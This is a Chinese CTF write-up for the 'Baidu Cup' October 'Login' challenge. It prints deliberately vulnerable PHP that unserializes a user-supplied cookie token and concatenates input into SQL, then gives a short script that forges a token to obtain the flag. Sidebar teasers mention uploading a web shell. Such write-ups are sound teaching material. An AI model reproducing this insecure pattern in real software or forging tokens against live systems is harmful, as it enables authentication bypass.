文档章节

“百度杯”CTF比赛 十月场_Login

o
 osc_z1hvg4cu
发布于 2018/04/24 23:25
字数 351
阅读 6
收藏 0

钉钉、微博极速扩容黑科技,点击观看阿里云弹性计算年度发布会!>>>

题目在i春秋ctf大本营

打开页面是两个登录框,首先判断是不是注入

尝试了各种语句后,发现登录界面似乎并不存在注入

查看网页源代码,给出了一个账号

用帐密登陆后,跳转到到member.php网页,网页本身并没有什么提示内容

接着抓包查看,这里找了好久,最后在返回包的头文件中发现了一个可以参数

尝试在请求头中加入show参数:

 

返回一段源代码,开始审计之路:

<?php
    include 'common.php';
    $requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
    class db
    {
        public $where;
        function __wakeup()
        {
            if(!empty($this->where))
            {
                $this->select($this->where);
            }
        }

        function select($where)
        {
            $sql = mysql_query('select * from user where '.$where);
            return @mysql_fetch_array($sql);
        }
    }

    if(isset($requset['token']))
    {
        $login = unserialize(gzuncompress(base64_decode($requset['token'])));
        $db = new db();
        $row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
        if($login['user'] === 'ichunqiu')
        {
            echo $flag;
        }else if($row['pass'] !== $login['pass']){
            echo 'unserialize injection!!';
        }else{
            echo "(╯‵□′)╯︵┴─┴ ";
        }
    }else{
        header('Location: index.php?error=1');
    }

?>

 看其中关键的逻辑语句:

$login = unserialize(gzuncompress(base64_decode($requset['token'])));

接着看到判断语句:

if($login['user'] === 'ichunqiu')
        {
            echo $flag;
        }

所以我们要在cookie中给token一个参数,先是创建一个数组并给其中的user键赋值为ichunqiu,然后进行上面一系列操作

<?php 
$a = array('user'=>'ichunqiu');
$b = base64_encode(gzcompress(serialize($a)));
echo $b
?>

得到token的值:

直接去请求包中添加cookie的值,可以直接拿到flag了

 

o
粉丝 0
博文 500
码字总数 0
作品 0
私信 提问
加载中
请先登录后再评论。
实战经验|大神战队都在i春秋教你打CTF

全国大学生信息安全竞赛创新实践能力赛旨在培养、选拔、推荐优秀信息安全专业人才创造条件,促进高等学校信息安全专业课程体系、教学内容和方法的改革,培养学生的创新意识与团队合作精神,普...

osc_uo9elnxq
2019/03/28
18
0
上传一句话木马时<? php被过滤的解决办法

i春秋“百度杯”CTF比赛 九月场 web题 upload 题目描述:想怎么传就怎么传,就是这么任性。tips:flag在flag.php中 打开题目发现 于是想到通过上传一句话木马进入后台 上传一句话木马 <?php ...

osc_9wny6wso
2019/09/15
16
0
i春秋 百度杯”CTF比赛 十月场 login

出现敏感的信息,然后进行登录 登录成功发现奇怪的show 然后把show放到发包里面试一下 出现了源码,审计代码开始 出flag的条件要user 等于春秋 然后进行login来源于反序列化后的login 下面进...

osc_hxgkm42i
2018/12/22
2
0
“百度杯”CTF比赛 2017 二月场(Misc Web)

爆破-1: 打开链接,是502 我直接在后面加个变量传参数:?a=1 出了一段代码 var_dump()函数中,用了$$a,可能用了超全局变量GLOBALS 给hello参数传个GLOBALS 得到flag 爆破-2: 打开链接 va...

osc_hp9d5zg0
2018/04/21
7
0
2019年 自我总结

引言 今年应该是进入大学以来,最为丰富的一年,也是收获最多的一年。 学习 进入2019年,我首先参加的应该是美国大学生数学建模竞赛,比赛前前后后经过了十几天。这一次比赛应该是我经历过最...

osc_ozmm6ila
2019/12/31
2
0

没有更多内容

加载失败,请刷新页面

加载更多

SO_REUSEADDR和SO_REUSEPORT有何不同? - How do SO_REUSEADDR and SO_REUSEPORT differ?

问题: The man pages and programmer documentations for the socket options SO_REUSEADDR and SO_REUSEPORT are different for different operating systems and often highly confusing.......

法国红酒甜
今天
28
0
asp.net core之SignalR

SignalR 是什么? ASP.NET Core SignalR 是一个开源的实时框架,它简化了向应用中添加实时 Web 功能的过程。 实时 Web 功能是服务器端能够即时的将数据推送到客户端,而无需让服务器等待客户端...

一介草民Coder
今天
24
0
如何通过日期属性对数组进行排序 - How to sort an array by a date property

问题: Say I have an array of a few objects: 说我有一些对象的数组: var array = [{id: 1, date: Mar 12 2012 10:00:00 AM}, {id: 2, date: Mar 8 2012 08:00:00 AM}]; How can I sort......

javail
今天
22
0
技术教程| 百度鹰眼历史轨迹查询:轨迹抽稀功能

本文作者:用****9 本篇教程中,我们将详细地说明鹰眼历史轨迹查询(gettrack接口)中,如何通过vacuate_grade选项对轨迹进行抽稀,以及不同的抽稀力度对轨迹产生的影响。 上一篇教程中,我们...

百度开发者中心
前天
24
0
Quartz的Misfire处理规则 错过任务执行时间的处理机制

调度(scheduleJob)或恢复调度(resumeTrigger,resumeJob)后不同的misfire对应的处理规则 CronTrigger withMisfireHandlingInstructionDoNothing ——不触发立即执行 ——等待下次Cron触发频率...

独钓渔
今天
7
0

没有更多内容

加载失败,请刷新页面

加载更多

返回顶部
顶部